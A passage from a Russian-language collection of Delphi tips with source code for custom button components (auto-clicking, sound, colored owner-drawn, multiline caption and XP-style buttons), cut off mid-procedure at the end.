procedure TAutoButton1.WmMouseMove (var Msg: TMessage);
begin
  inherited;
  if Assigned (OnClick) then
    OnClick (self);
end;

Вторая версии имеет больше исходного кода, так как в ней я просто пытаюсь повторить событие мышки OnClick когда пользователь перемещает мышку над кнопкой либо по истечении определённого времени. Далее следует объявление класса:

type
  TAutoKind = (akTime, akMovement, akBoth);

  TAutoButton2 = class(TButton)
  private
    FAutoKind: TAutoKind;
    FMovements: Integer;
    FSeconds: Integer;
    // really private
    CurrMov: Integer;
    Capture: Boolean;
    MyTimer: TTimer;
    procedure EndCapture;
    // обработчики сообщений
    procedure WmMouseMove (var Msg: TWMMouse);
      message wm_MouseMove;
    procedure TimerProc (Sender: TObject);
    procedure WmLBUttonDown (var Msg: TMessage);
      message wm_LBUttonDown;
    procedure WmLButtonUp (var Msg: TMessage);
      message wm_LButtonUp;
  public
    constructor Create (AOwner: TComponent); override;
  published
    property AutoKind: TAutoKind
      read FAutoKind write FAutoKind default akTime;
    property Movements: Integer
      read FMovements write FMovements default 5;
    property Seconds: Integer
      read FSeconds write FSeconds default 10;
  end;

Итак, когда курсор мышки попадает в область кнопки (WmMouseMove), то компонент запускает таймер либо счётчик количества сообщений о перемещении. По истечении определённого времени либо при получении нужного количества сообщений о перемещении, компонент эмулирует событие нажатия кнопкой.

procedure TAutoButton2.WmMouseMove (var Msg: TWMMouse);
begin
  inherited;
  if not Capture then
  begin
    SetCapture (Handle);
    Capture := True;
    CurrMov := 0;
    if FAutoKind <> akMovement then
    begin
      MyTimer := TTimer.Create (Parent);
      if FSeconds <> 0 then
        MyTimer.Interval := 3000
      else
        MyTimer.Interval := FSeconds * 1000;
      MyTimer.OnTimer := TimerProc;
      MyTimer.Enabled := True;
    end;
  end
  else // захватываем
  begin
    if (Msg.XPos > 0) and (Msg.XPos < Width)
      and (Msg.YPos > 0) and (Msg.YPos < Height) then
    begin
      // если мы подсчитываем кол-во движений...
      if FAutoKind <> akTime then
      begin
        Inc (CurrMov);
        if CurrMov >= FMovements then
        begin
          if Assigned (OnClick) then
            OnClick (self);
          EndCapture;
        end;
      end;
    end
    else // за пределами... стоп!
      EndCapture;
  end;
end;

procedure TAutoButton2.EndCapture;
begin
  Capture := False;
  ReleaseCapture;
  if Assigned (MyTimer) then
  begin
    MyTimer.Enabled := False;
    MyTimer.Free;
    MyTimer := nil;
  end;
end;

procedure TAutoButton2.TimerProc (Sender: TObject);
begin
  if Assigned (OnClick) then
    OnClick (self);
  EndCapture;
end;

procedure TAutoButton2.WmLBUttonDown (var Msg: TMessage);
begin
  if not Capture then
    inherited;
end;

procedure TAutoButton2.WmLButtonUp (var Msg: TMessage);
begin
  if not Capture then
    inherited;
end;

Взято из http://forum.sources.ru


Кнопка со звуком

Когда Вы нажимаете на кнопку, то видите трёхмерный эффект нажатия. А как же насчёт четвёртого измерения, например звука ? Ну тогда нам понадобится звук для нажатия и звук для отпускания кнопки. Если есть желание, то можно добавить даже речевую подсказку, однако не будем сильно углубляться.

Компонент звуковой кнопки имеет два новых свойства:

type
  TDdhSoundButton = class(TButton)
  private
    FSoundUp, FSoundDown: string;
  protected
    procedure MouseDown(Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer); override;
    procedure MouseUp(Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer); override;
  published
    property SoundUp: string
      read FSoundUp write FSoundUp;
    property SoundDown: string
      read FSoundDown write FSoundDown;
  end;

Звуки будут проигрываться при нажатии и отпускании кнопки:

procedure TDdhSoundButton.MouseDown(
  Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
begin
  inherited;
  PlaySound (PChar (FSoundDown), 0, snd_Async);
end;

procedure TDdhSoundButton.MouseUp(Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
begin
  inherited;
  PlaySound (PChar (FSoundUp), 0, snd_Async);
end;

Взято из http://forum.sources.ru


Кнопка или пункт меню выполняет другую функцию при нажатой кнопке shift

сли вы хотите, чтобы кнопка или пункт меню выполнял другую функцию при нажатой кнопке shift ,
вы можете использовать функцию GetKeyState .

GetKeyState принимает в качестве параметра виртуальный код кнопки и возвращает значение меньше 0,
если кнопка нажата.

Вот пример события OnClick для кнопки:

procedure Form1.Button1Click(Sender: TObject);
begin
   if GetKeyState(VK_SHIFT) < 0 then
      ShowMessage('Кнопка Shift нажата')
   else
      ShowMessage('Обычное нажатие кнопки');
end;

Отмечу, что вы можете также использовать параметры VK_CONTROL или VK_MENU
для проверки нажатия кнопок control и alt, соответственно!

Matt Hamilton

Взято с сайта http://blackman.wp-club.net/


Как изменить цвет TButton?

{
  You cannot change the color of a standard TButton,
  since the windows button control always paints itself with the
  button color defined in the control panel.
  But you can derive derive a new component from TButton and handle
  the and drawing behaviour there.
}

unit ColorButton;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, Buttons, ExtCtrls;

type
  TDrawButtonEvent = procedure(Control: TWinControl;
    Rect: TRect; State: TOwnerDrawState) of object;

  TColorButton = class(TButton)
  private
    FCanvas: TCanvas;
    IsFocused: Boolean;
    FOnDrawButton: TDrawButtonEvent;
  protected
    procedure CreateParams(var Params: TCreateParams); override;
    procedure SetButtonStyle(ADefault: Boolean); override;
    procedure CMEnabledChanged(var Message: TMessage); message CM_ENABLEDCHANGED;
    procedure CMFontChanged(var Message: TMessage); message CM_FONTCHANGED;
    procedure CNMeasureItem(var Message: TWMMeasureItem); message CN_MEASUREITEM;
    procedure CNDrawItem(var Message: TWMDrawItem); message CN_DRAWITEM;
    procedure WMLButtonDblClk(var Message: TWMLButtonDblClk); message WM_LBUTTONDBLCLK;
    procedure DrawButton(Rect: TRect; State: UINT);
  public
    constructor Create(AOwner: TComponent); override;
    destructor Destroy; override;
    property Canvas: TCanvas read FCanvas;
  published
    property OnDrawButton: TDrawButtonEvent read FOnDrawButton write FOnDrawButton;
    property Color;
  end;

procedure Register;

implementation

procedure Register;
begin
  RegisterComponents('Samples', [TColorButton]);
end;

constructor TColorButton.Create(AOwner: TComponent);
begin
  inherited Create(AOwner);
  FCanvas := TCanvas.Create;
end;

destructor TColorButton.Destroy;
begin
  inherited Destroy;
  FCanvas.Free;
end;

procedure TColorButton.CreateParams(var Params: TCreateParams);
begin
  inherited CreateParams(Params);
  with Params do Style := Style or BS_OWNERDRAW;
end;

procedure TColorButton.SetButtonStyle(ADefault: Boolean);
begin
  if ADefault <> IsFocused then
  begin
    IsFocused := ADefault;
    Refresh;
  end;
end;

procedure TColorButton.CNMeasureItem(var Message: TWMMeasureItem);
begin
  with Message.MeasureItemStruct^ do
  begin
    itemWidth  := Width;
    itemHeight := Height;
  end;
end;

procedure TColorButton.CNDrawItem(var Message: TWMDrawItem);
var
  SaveIndex: Integer;
begin
  with Message.DrawItemStruct^ do
  begin
    SaveIndex := SaveDC(hDC);
    FCanvas.Lock;
    try
      FCanvas.Handle := hDC;
      FCanvas.Font := Font;
      FCanvas.Brush := Brush;
      DrawButton(rcItem, itemState);
    finally
      FCanvas.Handle := 0;
      FCanvas.Unlock;
      RestoreDC(hDC, SaveIndex);
    end;
  end;
  Message.Result := 1;
end;

procedure TColorButton.CMEnabledChanged(var Message: TMessage);
begin
  inherited;
  Invalidate;
end;

procedure TColorButton.CMFontChanged(var Message: TMessage);
begin
  inherited;
  Invalidate;
end;

procedure TColorButton.WMLButtonDblClk(var Message: TWMLButtonDblClk);
begin
  Perform(WM_LBUTTONDOWN, Message.Keys, Longint(Message.Pos));
end;

procedure TColorButton.DrawButton(Rect: TRect; State: UINT);
var
  Flags, OldMode: Longint;
  IsDown, IsDefault, IsDisabled: Boolean;
  OldColor: TColor;
  OrgRect: TRect;
begin
  OrgRect := Rect;
  Flags := DFCS_BUTTONPUSH or DFCS_ADJUSTRECT;
  IsDown := State and ODS_SELECTED <> 0;
  IsDefault := State and ODS_FOCUS <> 0;
  IsDisabled := State and ODS_DISABLED <> 0;

  if IsDown then Flags := Flags or DFCS_PUSHED;
  if IsDisabled then Flags := Flags or DFCS_INACTIVE;

  if IsFocused or IsDefault then
  begin
    FCanvas.Pen.Color := clWindowFrame;
    FCanvas.Pen.Width := 1;
    FCanvas.Brush.Style := bsClear;
    FCanvas.Rectangle(Rect.Left, Rect.Top, Rect.Right, Rect.Bottom);
    InflateRect(Rect, - 1, - 1);
  end;

  if IsDown then
  begin
    FCanvas.Pen.Color := clBtnShadow;
    FCanvas.Pen.Width := 1;
    FCanvas.Brush.Color := clBtnFace;
    FCanvas.Rectangle(Rect.Left, Rect.Top, Rect.Right, Rect.Bottom);
    InflateRect(Rect, - 1, - 1);
  end
  else
    DrawFrameControl(FCanvas.Handle, Rect, DFC_BUTTON, Flags);

  if IsDown then OffsetRect(Rect, 1, 1);

  OldColor := FCanvas.Brush.Color;
  FCanvas.Brush.Color := Color;
  FCanvas.FillRect(Rect);
  FCanvas.Brush.Color := OldColor;
  OldMode := SetBkMode(FCanvas.Handle, TRANSPARENT);
  FCanvas.Font.Color := clBtnText;
  if IsDisabled then
    DrawState(FCanvas.Handle, FCanvas.Brush.Handle, nil, Integer(Caption), 0,
    ((Rect.Right - Rect.Left) - FCanvas.TextWidth(Caption)) div 2,
    ((Rect.Bottom - Rect.Top) - FCanvas.TextHeight(Caption)) div 2,
      0, 0, DST_TEXT or DSS_DISABLED)
  else
    DrawText(FCanvas.Handle, PChar(Caption), - 1, Rect,
      DT_SINGLELINE or DT_CENTER or DT_VCENTER);
  SetBkMode(FCanvas.Handle, OldMode);

  if Assigned(FOnDrawButton) then
    FOnDrawButton(Self, Rect, TOwnerDrawState(LongRec(State).Lo));

  if IsFocused and IsDefault then
  begin
    Rect := OrgRect;
    InflateRect(Rect, - 4, - 4);
    FCanvas.Pen.Color := clWindowFrame;
    FCanvas.Brush.Color := clBtnFace;
    DrawFocusRect(FCanvas.Handle, Rect);
  end;
end;
end.

В книгах Калверта, Свана и других авторов можно найти похожий текст. Смысл текста – "Изменить цвет кнопок Button, BitBtn нельзя, т.к. их рисует WINDOWS". Если нельзя, но ОЧЕНЬ НУЖНО, то можно.

Небольшой компонент ColorBtn, дает возможность использовать в кнопках цвет. Кроме того, представлено новое свойство - Frame3D, позволяющее получить более реалистичный вид нажатой кнопки. В отличие от API, при изменении значения свойства Frame3D, не требуется переоткрытие компонента.

Примечание. Кнопку по-прежнему рисует WINDOWS, а раскрашивает ее ColorBtn. Код компонента на 90% повторяет код BitBtn, ничего необычного здесь нет. Чаще заглядывайте в VCL - можно найти много интересного. На рисунке представлены ColorButton и ColorBitBtn.

unit colorbtn;

interface

uses

  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, Buttons;

type

  TColorBtn = class(TButton)
  private
    FCanvas: TCanvas;
    IsFocused: Boolean;
    F3DFrame: boolean;
    FButtonColor: TColor;
    procedure Set3DFrame(Value: boolean);
    procedure SetButtonColor(Value: TColor);
    procedure CNDrawItem(var Message: TWMDrawItem); message CN_DRAWITEM;
    procedure WMLButtonDblClk(var Message: TWMLButtonDblClk); message
      WM_LBUTTONDBLCLK;
    procedure DrawButtonText(const Caption: string; TRC: TRect; State:
      TButtonState; BiDiFlags: Longint);
    procedure CalcuateTextPosition(const Caption: string; var TRC: TRect;
      BiDiFlags: Longint);
  protected
    procedure CreateParams(var Params: TCreateParams); override;
    procedure SetButtonStyle(ADefault: Boolean); override;
  public
    constructor Create(AOwner: TComponent); override;
    destructor Destroy; override;
  published
    property ButtonColor: TColor read FButtonColor write SetButtonColor default
      clBtnFace;
    property Frame3D: boolean read F3DFrame write Set3DFrame default False;
  end;

procedure Register;

implementation

{ TColorBtn }

constructor TColorBtn.Create(AOwner: TComponent);
begin
  inherited Create(AOwner);
  Height := 21;
  FCanvas := TCanvas.Create;
  FButtonColor := clBtnFace;
  F3DFrame := False;
end;

destructor TColorBtn.Destroy;
begin
  FCanvas.Free;
  inherited Destroy;
end;

procedure TColorBtn.CreateParams(var Params: TCreateParams);
begin
  inherited CreateParams(Params);
  with Params do
    Style := Style or BS_OWNERDRAW;
end;

procedure TColorBtn.Set3DFrame(Value: boolean);
begin
  if F3DFrame <> Value then
    F3DFrame := Value;
end;

procedure TColorBtn.SetButtonColor(Value: TColor);
begin
  if FButtonColor <> Value then
  begin
    FButtonColor := Value;
    Invalidate;
  end;
end;

procedure TColorBtn.WMLButtonDblClk(var Message: TWMLButtonDblClk);
begin
  Perform(WM_LBUTTONDOWN, Message.Keys, Longint(Message.Pos));
end;

procedure TColorBtn.SetButtonStyle(ADefault: Boolean);
begin
  if IsFocused <> ADefault then
    IsFocused := ADefault;
end;

procedure TColorBtn.CNDrawItem(var Message: TWMDrawItem);
var
  RC: TRect;
  Flags: Longint;
  State: TButtonState;
  IsDown, IsDefault: Boolean;
  DrawItemStruct: TDrawItemStruct;
begin
  DrawItemStruct := Message.DrawItemStruct^;
  FCanvas.Handle := DrawItemStruct.HDC;
  RC := ClientRect;
  with DrawItemStruct do
  begin
    IsDown := ItemState and ODS_SELECTED <> 0;
    IsDefault := ItemState and ODS_FOCUS <> 0;
    if not Enabled then
      State := bsDisabled
    else if IsDown then
      State := bsDown
    else
      State := bsUp;
  end;
  Flags := DFCS_BUTTONPUSH or DFCS_ADJUSTRECT;
  if IsDown then
    Flags := Flags or DFCS_PUSHED;
  if DrawItemStruct.ItemState and ODS_DISABLED <> 0 then
    Flags := Flags or DFCS_INACTIVE;
  if IsFocused or IsDefault then
  begin
    FCanvas.Pen.Color := clWindowFrame;
    FCanvas.Pen.Width := 1;
    FCanvas.Brush.Style := bsClear;
    FCanvas.Rectangle(RC.Left, RC.Top, RC.Right, RC.Bottom);
    InflateRect(RC, -1, -1);
  end;
  if IsDown then
  begin
    FCanvas.Pen.Color := clBtnShadow;
    FCanvas.Pen.Width := 1;
    FCanvas.Rectangle(RC.Left, RC.Top, RC.Right, RC.Bottom);
    InflateRect(RC, -1, -1);
    if F3DFrame then
    begin
      FCanvas.Pen.Color := FButtonColor;
      FCanvas.Pen.Width := 1;
      DrawFrameControl(DrawItemStruct.HDC, RC, DFC_BUTTON, Flags);
    end;
  end
  else
    DrawFrameControl(DrawItemStruct.HDC, RC, DFC_BUTTON, Flags);
  FCanvas.Brush.Color := FButtonColor;
  FCanvas.FillRect(RC);
  InflateRect(RC, 1, 1);
  if IsFocused then
  begin
    RC := ClientRect;
    InflateRect(RC, -1, -1);
  end;
  FCanvas.Font := Self.Font;
  if IsDown then
    OffsetRect(RC, 1, 1);
  DrawButtonText(Caption, RC, State, 0);
  if IsFocused and IsDefault then
  begin
    RC := ClientRect;
    InflateRect(RC, -4, -4);
    FCanvas.Pen.Color := clWindowFrame;
    Windows.DrawFocusRect(FCanvas.Handle, RC);
  end;
  FCanvas.Handle := 0;
end;

procedure TColorBtn.CalcuateTextPosition(const Caption: string; var TRC: TRect;
  BiDiFlags: Integer);
var
  TB: TRect;
  TS, TP: TPoint;
begin
  with FCanvas do
  begin
    TB := Rect(0, 0, TRC.Right + TRC.Left, TRC.Top + TRC.Bottom);
    DrawText(Handle, PChar(Caption), Length(Caption), TB, DT_CALCRECT or
      BiDiFlags);
    TS := Point(TB.Right - TB.Left, TB.Bottom - TB.Top);
    TP.X := ((TRC.Right - TRC.Left) - TS.X + 1) div 2;
    TP.Y := ((TRC.Bottom - TRC.Top) - TS.Y + 1) div 2;
    OffsetRect(TB, TP.X + TRC.Left, TP.Y + TRC.Top);
    TRC := TB;
  end;
end;

procedure TColorBtn.DrawButtonText(const Caption: string; TRC: TRect; State:
  TButtonState; BiDiFlags: Integer);
begin
  with FCanvas do
  begin
    CalcuateTextPosition(Caption, TRC, BiDiFlags);
    Brush.Style := bsClear;
    if State = bsDisabled then
    begin
      OffsetRect(TRC, 1, 1);
      Font.Color := clBtnHighlight;
      DrawText(Handle, PChar(Caption), Length(Caption), TRC,
        DT_CENTER or DT_VCENTER or BiDiFlags);
      OffsetRect(TRC, -1, -1);
      Font.Color := clBtnShadow;
      DrawText(Handle, PChar(Caption), Length(Caption), TRC,
        DT_CENTER or DT_VCENTER or BiDiFlags);
    end
    else
      DrawText(Handle, PChar(Caption), Length(Caption), TRC,
        DT_CENTER or DT_VCENTER or BiDiFlags);
  end;
end;

procedure Register;
begin
  RegisterComponents('Controls', [TColorBtn]);
end;

end.

Небольшое дополнение. Кнопку по прежнему рисует WINDOWS, а раскрашивает ее ColorBtn. Код компонента на 90% повторяет код BitBtn, ничего необычного здесь нет. Хочется повторить слова Калверта – "Пользуйтесь исходным кодом". Чаще заглядывайте в VCL - можно найти много интересного.

Взято с http://delphiworld.narod.ru


Как сделать многострочную надпись на TBitBtn?

Выводите текст надписи непосредственно на "glyph" TBitBtn'а

procedure TForm1.FormCreate(Sender: TObject);
var
  R: TRect;
  N: Integer;
  Buff: array[0..255] of Char;
begin
  with BitBtn1 do
    begin
      Caption := 'A really really long caption';
      Glyph.Canvas.Font := Self.Font;
      Glyph.Width := Width - 6;
      Glyph.Height := Height - 6;
      R := Bounds(0, 0, Glyph.Width, 0);
      StrPCopy(Buff, Caption);
      Caption := '';
      DrawText(Glyph.Canvas.Handle, Buff, StrLen(Buff), R,
        DT_CENTER or DT_WORDBREAK or DT_CALCRECT);
      OffsetRect(R, (Glyph.Width - R.Right) div 2,
        (Glyph.Height - R.Bottom) div 2);
      DrawText(Glyph.Canvas.Handle, Buff, StrLen(Buff), R,
        DT_CENTER or DT_WORDBREAK);
    end;
end;


Если прозрачная часть glyph'а становится видной...

В некоторых видео режимах прозрачная часть glyph'а стандартного TBitBtn становится видной. Как этого избежать?

В примере используется техника закраски прозрачной части glyph'а цветом кнопки на которой он находится - таким образом glyph кажется прозрачным.

function InitStdBitBtn(BitBtn: TBitBtn; kind: TBitBtnKind): bool;
var
  Bm1: TBitmap;
  Bm2: TBitmap;
begin
  Result := false;
  if Kind = bkCustom then
    exit;
  Bm1 := TBitmap.Create;
  case Kind of
    bkOK: Bm1.Handle := LoadBitmap(hInstance, 'BBOK');
    bkCancel: Bm1.Handle := LoadBitmap(hInstance, 'BBCANCEL');
    bkHelp: Bm1.Handle := LoadBitmap(hInstance, 'BBHELP');
    bkYes: Bm1.Handle := LoadBitmap(hInstance, 'BBYES');
    bkNo: Bm1.Handle := LoadBitmap(hInstance, 'BBNO');
    bkClose: Bm1.Handle := LoadBitmap(hInstance, 'BBCLOSE');
    bkAbort: Bm1.Handle := LoadBitmap(hInstance, 'BBABORT');
    bkRetry: Bm1.Handle := LoadBitmap(hInstance, 'BBRETRY');
    bkIgnore: Bm1.Handle := LoadBitmap(hInstance, 'BBIGNORE');
    bkAll: Bm1.Handle := LoadBitmap(hInstance, 'BBALL');
  end;
  Bm2 := TBitmap.Create;
  Bm2.Width := Bm1.Width;
  Bm2.Height := Bm1.Height;
  Bm2.Canvas.Brush.Color := ClBtnFace;
  Bm2.Canvas.BrushCopy(Rect(0, 0, bm2.Width, bm2.Height), Bm1,
    Rect(0, 0, Bm1.width, Bm1.Height),
    Bm1.canvas.pixels[0, 0]);
  Bm1.Free;
  LockWindowUpdate(BitBtn.Parent.Handle);
  BitBtn.Kind := kind;
  BitBtn.Glyph.Assign(bm2);
  LockWindowUpdate(0);
  Bm2.Free;
  Result := true;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  InitStdBitBtn(BitBtn1, bkOk);
end;


Можно ли использовать иконку как картинку на кнопке TSpeedButton?

uses ShellApi;

procedure TForm1.FormShow(Sender: TObject);
var
  Icon: TIcon;
begin
  Icon := TIcon.Create;
  Icon.Handle := ExtractIcon(0, 'C:\WINDOWS\NOTEPAD.EXE', 1);
  SpeedButton1.Glyph.Width := Icon.Width;
  SpeedButton1.Glyph.Height := Icon.Height;
  SpeedButton1.Glyph.Canvas.Draw(0, 0, Icon);
  Icon.Free;
end;


Пример компонента типа XPButton

Раньше казалось, что невозможно было преодолеть нестабильность Windows-98. Но теперь мы видим, что Windows XP ее в этом преодолела.

unit GsXPButton;
{
written by Jeff Caler,
Please use this responsibly and
freely in your applications, modify, etc,
but dont take credit for my work, i wouldnt yours,
I reserve all rights given by copyright
in the US and other countries.
No right to resell this component or it's code is given nor implied.
Enjoy it responsibly. As in, Dont take my name out and put in yours.
Thank you.
Jeff Caler
madmacs@netzero.net
GenieOS Software
http://www.genieos.co.uk
3-20-02
}

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  Buttons;

type
  TGsXPButton = class(TSpeedButton)
  private
    { Private declarations }
     eColor, eSelBackColor, eSelFontColor, eSelBorderColor: TColor;
     FActive: boolean;
     FButtonDown: Boolean;
     FForm: TScrollingWinControl;
     FStyle: integer;
     FDefault: boolean;
     Procedure CMMouseEnter( Var Message: TMessage ); Message CM_MOUSEENTER;
     Procedure CMMouseLeave( Var Message: TMessage ); Message CM_MOUSELEAVE;
     procedure SetForm(const Value: TScrollingWinControl);

  protected
    { Protected declarations }

  public
    { Public declarations }
     Selected: Boolean;
     constructor Create( AOwner : TComponent ); override;
     property Form: TScrollingWinControl read FForm write SetForm;
     Procedure Paint; Override;
     procedure SetActive(const Value: boolean);
     procedure SetStyle (const Value: integer);
     procedure SetDefault(const Value: boolean);
     Procedure Style0(AOwner : TComponent);
     Procedure Style1(AOwner : TComponent);
  published
    { Published declarations }
     property Active: boolean read FActive write SetActive;
     Property Color: TColor read eColor write eColor;
     property Default: Boolean read FDefault write SetDefault;
     property Flat default True;
     Property SelBackColor: TColor read eSelBackColor write eSelBackColor;
     Property SelBorderColor: TColor read eSelBorderColor write eSelBorderColor;
     Property SelFontColor: TColor read eSelFontColor write eSelFontColor;
     Property Style: integer read FStyle write SetStyle;

  end;

type
  TGsXPOkButton = class(TGsXPButton)
  private
    { Private declarations }
  protected
    { Protected declarations }
  public
    { Public declarations }
     constructor Create( AOwner : TComponent ); override;

  published
    { Published declarations }
  end;

  type
  TGsXPCancelButton = class(TGsXPButton)
  private
    { Private declarations }
   protected
    { Protected declarations }
  public
    { Public declarations }
     constructor Create( AOwner : TComponent );  override;

  published
    { Published declarations }
  end;

procedure Register;

implementation

constructor TGsXPButton.Create( AOwner : TComponent );
begin

  inherited Create( AOwner );
     ControlStyle:= ControlStyle + [csAcceptsControls];
  Font.Color := clWindowText;
  Color := clBtnFace;
  FButtonDown := FALSE;
  Flat := True;
  FForm := Owner as TScrollingWinControl;
  Selected:= False;
  Height:= 22;
  SelFontColor := clHighLight;
  SelBackColor := clHighLightText;
  SelBorderColor := $0000A9E1;
  //Top:= 4;
  Transparent:= False;
  Width:= 65;
  Active := True;
  Style := 0;
end;

procedure TGsXPButton.SetStyle(const Value: integer);
begin
  if FStyle <> Value then
  begin
    FStyle := Value;

    end;
end;

Procedure TGsXPButton.CMMouseEnter( Var Message: TMessage );
Begin
//hmmm, no selected property either ehhh.

     //Flicker GONE!
     If Selected = False then
     begin
     Selected := True;
     RePaint;
     end
     else
     Selected := True;
     exit;

End;

Procedure TGsXPButton.CMMouseLeave( Var Message: TMessage );
Begin

     Selected:= False;
     FButtonDown := FALSE;
     RePaint;
     IF Selected = False then exit;

End;

procedure TGsXPButton.SetForm(const Value: TScrollingWinControl);
var
  Hold: boolean;
begin
  if Value <> FForm then
  begin
    Hold := Active;
    Active := false;
    FForm := Value;
    if Hold then
      Active := True;
  end;
end;

procedure TGsXPButton.SetActive(const Value: boolean);
begin

  FActive := Value;

end;

procedure TGsXPButton.SetDefault(const Value: boolean);
begin
FDefault := Value;
end;

function NewColor(Canvas: TCanvas; clr: TColor; Value: integer): TColor;
var
  r, g, b: integer;

begin
  if Value > 100 then Value := 100;
  clr := ColorToRGB(clr);
  r := Clr and $000000FF;
  g := (Clr and $0000FF00) shr 8;
  b := (Clr and $00FF0000) shr 16;

  r := r + Round((255 - r) * (value / 100));
  g := g + Round((255 - g) * (value / 100));
  b := b + Round((255 - b) * (value / 100));

  Result := Windows.GetNearestColor(Canvas.Handle, RGB(r, g, b));

end;

Procedure TGsXPButton.style0(AOwner : TComponent);
var
        Gbtn: TGsXPButton;
        Right, Bottom: integer;
        Selector, txtRect, ARect, iconRect, FRect: TRect;
        FColor, FSelBackColor, FSelFontColor: TColor;
        FSelBorderColor: TColor;
        SelText: String;
        TextFormat: integer;
        x1, y1 : integer;
        i,v : integer;
        CWidth, CHeight: INTEGER;
begin
  inherited;
        Gbtn:= TGsXPButton(Self);
        FColor := eColor;
        FSelBackColor := eSelBackColor;
        FSelFontColor := eSelFontColor;
        Bottom := (Gbtn.Canvas.ClipRect.Bottom);
        Right := (Gbtn.Canvas.ClipRect.Right);
        ARect.Top := (Gbtn.Canvas.ClipRect.Top);
        ARect.Right := Right;
        ARect.Bottom := Bottom;
        Arect.Left := (Gbtn.Canvas.ClipRect.Left);
        TextFormat := DT_Left;
        SelText :=( '  ' + (Gbtn.Caption));

      If Gbtn.Active then
      Gbtn.Style := 0;
        begin
        Flat:= True;
        font.Color := font.Color;
        Color := FColor;

        Selector := Rect( ARect.Left , ARect.Top ,
        ARect.right , ARect.bottom );

        FRect:= Rect(Arect.Left+3,Arect.Top +3,
        Arect.Right -3, Arect.Bottom -3);

        //capture the image rect and layout image and text
        //Heavy on the math...

if not Glyph.Empty then begin
       if Layout = blGlyphLeft then begin
          SelText:= SelText;

        iconRect:=(Glyph.Canvas.ClipRect);
        CWidth:=(Glyph.Width + Canvas.TextWidth(SelText));

        iconRect.Left := (ARect.Right - CWidth) div 2;
        iconRect.Top := (ARect.Bottom - Glyph.Height) div 2 ;
        iconRect.Right := (iconRect.Left + Glyph.Width);
        iconRect.Bottom := (iconRect.Top + Glyph.Height);
        x1:= (iconRect.Right);
        y1:= (Arect.Bottom - Canvas.TextHeight(SelText)) div 2;
        TxtRect:= Rect (X1,Y1, Selector.Right, Selector.Bottom );
        end
        else
        if Layout = blGlyphRight then begin
        Seltext := SelText + '  ';

        iconRect:=(Glyph.Canvas.ClipRect);
        CWidth:=(Glyph.Width + Canvas.TextWidth(SelText));
        TxtRect:= (Gbtn.Canvas.ClipRect);

        TxtRect.Left := (ARect.Right - CWidth) div 2;
        TxtRect.Top := (Arect.Bottom - Canvas.TextHeight(SelText)) div 2;
        TxtRect.Right := (TxtRect.Left + Canvas.TextWidth(SelText));
        TxtRect.Bottom := (TxtRect.Top + Canvas.TextHeight(SelText));

        IconRect.Left := (TxtRect.Right);
        iconRect.Top := (ARect.Bottom - Glyph.Height) div 2 ;
        iconRect.Right := (iconRect.Left + Glyph.Width);
        iconRect.Bottom := (iconRect.Top + Glyph.Height);
        end
        else
        if Layout = blGlyphTop then begin
        SelText := SelText;
        iconRect:=(Glyph.Canvas.ClipRect);
        CHeight:= (Canvas.TextHeight(SelText)+ Glyph.Height);

        TxtRect:= (Gbtn.Canvas.ClipRect);

        IconRect.Left := (Canvas.ClipRect.Right div 2) - (glyph.Width div 2);
        iconRect.Top := (ARect.Bottom div 2) - ((glyph.Height + Canvas.TextHeight(Seltext)) div 2) ;
        iconRect.Right := (iconRect.Left + Glyph.Width);
        iconRect.Bottom := (iconRect.Top + Glyph.Height);

        TxtRect.Left := (ARect.Right div 2) - (Canvas.TextWidth(Seltext) div 2);
        TxtRect.Top := (iconRect.Bottom + 2);
        TxtRect.Right := (TxtRect.Left + Canvas.TextWidth(SelText));
        TxtRect.Bottom := (TxtRect.Top + Canvas.TextHeight(SelText));
        end
        else
        if Layout = blGlyphBottom then begin
        SelText := SelText;
        iconRect:=(Glyph.Canvas.ClipRect);
        CHeight:= (Canvas.TextHeight(SelText)+ Glyph.Height);

        TxtRect:= (Gbtn.Canvas.ClipRect);

        TxtRect.Left := (ARect.Right div 2) - (Canvas.TextWidth(Seltext) div 2);
        TxtRect.Top := (ARect.Bottom div 2) - ((glyph.Height + Canvas.TextHeight(Seltext)) div 2) ;
        TxtRect.Right := (TxtRect.Left + Canvas.TextWidth(SelText));
        TxtRect.Bottom := (TxtRect.Top + Canvas.TextHeight(SelText));

        IconRect.Left := (Canvas.ClipRect.Right div 2) - (glyph.Width div 2);
        iconRect.Top := (txtRect.Bottom + 2) ;
        iconRect.Right := (iconRect.Left + Glyph.Width);
        iconRect.Bottom := (iconRect.Top + Glyph.Height);
        end;
        end
        else
        if Glyph.Empty Then
        begin
        SelText := SelText;
        x1:= (Arect.Right - Canvas.TextWidth(SelText))div 2;
        y1:= (Arect.Bottom - Canvas.TextHeight(SelText)) div 2;
        TxtRect:= Rect (X1,Y1, Selector.Right, Selector.Bottom );
        end;

      Canvas.Brush.Style:= bsSolid;
      Canvas.Brush.Color := FColor;
      Canvas.FillRect(ARect);

IF GBtn.Default THEN
  IF not Selected then
    If not Gbtn.MouseCapture then
  begin
        v:=0;
    Selector.top := Selector.bottom - 1;
    for i := ARect.bottom downto ARect.top do
    begin
      if (Selector.top < ARect.bottom)
        and (Selector.top > Arect.bottom + 5) then
        inc(v, 1)
      else
        inc(v, 2);

      if v > 96 then v := 96;

      Canvas.Brush.Color := NewColor(Canvas, $00FF8080, v);
      Canvas.FillRect(Selector);
      Selector.top := Selector.top -1;
      Selector.bottom := Selector.top + 1;

      Canvas.Brush.Style := bsClear;
      Canvas.Pen.color := $00984E00;
      Canvas.RoundRect(ARect.Left ,
                Arect.top , Arect.right ,
                Arect.bottom , 5, 5);

      Canvas.Brush.Style:= bsSolid;
      Canvas.Brush.Color := FSelBackColor;
      Canvas.FillRect(FRect);

           //draw the text

        DrawtextEx(Gbtn.Canvas.Handle,
        PChar(SelText),
        Length(SelText),
        txtRect,
        TextFormat, nil);
              if not gbtn.Glyph.Empty THEN Canvas.Rectangle (iconRect);
              begin
              Canvas.CopyRect(IconRect,Canvas,(GBtn.Glyph.Canvas.ClipRect));
